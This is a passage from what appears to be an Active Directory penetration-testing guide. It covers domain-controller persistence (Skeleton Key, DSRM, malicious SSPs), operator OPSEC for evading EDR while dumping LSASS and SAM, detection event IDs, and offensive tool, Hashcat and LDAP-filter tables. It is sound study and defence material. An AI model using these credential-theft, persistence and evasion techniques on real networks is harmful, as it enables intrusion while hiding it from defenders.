Patches LSASS on a DC so any user can auth with a master password (default: ‘mimikatz’) alongside their real password. Doesn’t survive reboot. Tool: Mimikatz misc::skeleton.

11.5 DSRM Password Abuse

Directory Services Restore Mode password set during DC promotion. If DsrmAdminLogonBehavior = 2, this password enables network logon to the DC. Rarely changed → persistent DC access.

11.6 Certificate-Based Persistence

Request long-lived certs for privileged accounts. Valid regardless of password changes. Compromise the CA private key = forge certs offline indefinitely.

11.7 Custom SSP / Password Filter

Register a custom SSP DLL on a DC. SpLsaModeInitialize receives plaintext passwords during every authentication. Load in-memory via AddSecurityPackage API or persistently via Security Packages registry key.

Chapter 12: Defensive Evasion & OPSEC for Operators

12.1 Ticket OPSEC

• **Use AES256 keys** over RC4 when forging. RC4 tickets in an AES environment are immediate red flags.

• **Match ticket lifetimes** to domain policy. A 10-year TGT when policy is 10 hours is detectable.

• **Diamond Tickets over Golden** when possible — matching AS-REQ logs.

• **S4U2Self requests** should target users who plausibly authenticate to the target.

12.2 Credential Access OPSEC

• **Avoid LSASS** directly. Prefer DCSync, Kerberos ticket extraction, DPAPI abuse.

• **If LSASS required**, use direct syscalls (nanodump) to bypass API hooking.

• **Remote LSASS dump** via comsvcs.dll MiniDump or WerFault crash dumping.

• **SAM extraction** via reg.exe save to avoid EDR's NtSaveKey hooks.

12.3 Lateral Movement OPSEC

• **Kerberos over NTLM** — Overpass-the-Hash converts hashes to tickets. NTLM is more monitored.

• **WMI / DCOM over SMB** — psexec (service creation + named pipe) is the most detected lateral movement.

• **Avoid PsExec patterns** — Random service names, ADMIN$ writes, named pipes = signature detections.

• **Use existing admin tools** — WinRM, PS Remoting, SCCM are expected traffic.

12.4 Enumeration OPSEC

• **Pace LDAP queries** — SharpHound generates thousands of queries/sec. Use --Throttle or run during business hours.

• **Target specific OUs** instead of full directory dumps.

• **BloodHound collection**: Start with Session/LoggedOn (less LDAP) before running All.

12.5 AD CS OPSEC

• **Request certs for plausible accounts** — service accounts requesting client auth are less suspicious.

• **Restore modified templates immediately** after ESC4 (certipy --save-old).

• **CA logs** (4886/4887) record every request. Often not forwarded to SIEM.

Chapter 13: Detection Engineering & Blue Team Indicators

13.1 Critical Event IDs

Event ID	Source	Description	Attacks Detected
4768	Security (DC)	TGT requested (AS-REQ)	AS-REP Roast, Overpass-the-Hash
4769	Security (DC)	TGS requested	Kerberoast (etype 23), Golden Ticket (no prior 4768)
4771	Security (DC)	Pre-auth failed	Password spraying
4724/4723	Security (DC)	Password reset/change	ForceChangePassword abuse
4741	Security (DC)	Computer account created	RBCD setup
5136	Dir Service	Object modified	ACL changes, RBCD, Shadow Creds
4662	Security (DC)	Directory object operation	DCSync
4886/4887	CA	Cert requested/issued	AD CS (ESC1-14)
1102	Security	Audit log cleared	Anti-forensics

13.2 Behavioral Indicators

Indicator	Normal	Attack
TGS requests (4769)	Steady, distributed	Burst of RC4 from single source
LDAP queries	App-driven, consistent	Bulk enum of all objects
Machine account creation	IT provisioning	New machine + delegation config
KeyCredentialLink changes	Rare (Hello onboarding)	Unexpected additions
Certificate requests	Template-consistent	SAN specification requests
DC replication	Between known DCs	Replication from non-DC (DCSync)

13.3 Recommended Audit Policies

- **Directory Service Changes auditing** — Event ID 5136 for ACL, RBCD, Shadow Creds.
- **Kerberos Service Ticket Operations** — 4769 for Kerberoasting detection.
- **Forward CA logs to SIEM** — 4886/4887 often only stored locally on CA.
- **PowerShell Script Block Logging** — Captures offensive PS (PowerView, Rubeus).

• **Process creation with command line** (4688) — Captures tool execution.

Chapter 14: Tool Reference Matrix

14.1 Offensive Tooling

Tool	Lang	Primary Use Cases
Mimikatz	C	Credential extraction, ticket forging (Golden/Silver/Diamond), DCSync, DCShadow, Skeleton Key, PtH, PtT, DPAPI
Rubeus	C#	Kerberos: Kerberoast, AS-REP Roast, asktgt, S4U delegation, ticket manipulation, monitor, Diamond Tickets
Impacket	Python	Remote execution (psexec/wmiexec/smbexec/dcomexec), secretsdump, GetUserSPNs, GetNPUsers, ntlmrelayx, getST, addcomputer
BloodHound CE / SharpHound	C# / JS	AD attack path mapping. BloodHound Community Edition (CE) is the current version with improved UI, Cypher queries, and API. SharpHound/AzureHound for collection.
Certipy	Python	AD CS enumeration and exploitation (ESC1-14). find, req, auth, template, ca commands
Certify	C#	AD CS enumeration and exploitation. Windows-native alternative to certipy
NetExec (nxc)	Python	Network-wide credential testing, enumeration, command execution across SMB/WinRM/LDAP/MSSQL/RDP/WMI. Successor to CrackMapExec (deprecated).
Responder	Python	LLMNR/NBT-NS/mDNS poisoning, NTLM hash capture, WPAD abuse
PowerView	PS	AD enumeration: users, groups, ACLs, trusts, GPOs, sessions, SPNs. Part of PowerSploit
Whisker / pyWhisker	C# / Py	Shadow Credentials: add/list/remove Key Credentials on AD objects
Coercer	Python	Automated multi-protocol coercion (17+ methods across MS-EFSR, MS-RPRN, MS-DFSNM, MS-FSRVP, etc.)
lsassy	Python	Remote LSASS credential extraction. Supports multiple dump methods (comsvcs, nanodump, etc.) and parses remotely.
bloodhound.py	Python	Linux-based BloodHound collector for cross-platform engagements
PetitPotam	Python	MS-EFSR coercion for NTLM relay attacks
SpoolSample	C#	MS-RPRN PrinterBug coercion
Hashcat	C/OpenCL	Offline hash cracking: Kerberos TGS (13100/19700), AS-REP (18200), NTLMv2 (5600), NT (1000)
nanodump	C	Stealthy LSASS minidump using direct syscalls to evade EDR
DCShadow (Mimikatz)	C	Rogue DC registration and malicious replication

14.2 Hashcat Modes Quick Reference

Mode	Hash Type	Source
1000	NTLM (NT hash)	SAM, NTDS.dit, LSASS
5600	NTLMv2	Responder, LLMNR/NBT-NS capture
13100	Kerberos TGS-REP (RC4)	Kerberoasting
19700	Kerberos TGS-REP (AES)	Kerberoasting (AES)
18200	Kerberos AS-REP	AS-REP Roasting
7500	Kerberos AS-REQ (Pre-auth etype 23)	Captured AS-REQ

14.3 Key LDAP Filters

Target	LDAP Filter
All users	(&(objectClass=user)(objectCategory=person))
Kerberoastable	(&(servicePrincipalName=*)(objectCategory=person)(!(objectClass=computer)))
AS-REP Roastable	(userAccountControl:1.2.840.113556.1.4.803:=4194304)
Domain Controllers	(userAccountControl:1.2.840.113556.1.4.803:=8192)
Unconstrained Delegation	(userAccountControl:1.2.840.113556.1.4.803:=524288)
Constrained Delegation	(msDS-AllowedToDelegateTo=*)
RBCD Configured	(msDS-AllowedToActOnBehalfOfOtherIdentity=*)
LAPS Deployed (Legacy)	(ms-Mcs-AdmPwdExpirationTime=*)
LAPS v2 (Windows LAPS)	(msLAPS-PasswordExpirationTime=*)
Protected Users Members	(&(objectClass=user)(memberOf=CN=Protected Users,CN=Users,...))
AdminCount=1 (Protected)	(adminCount=1)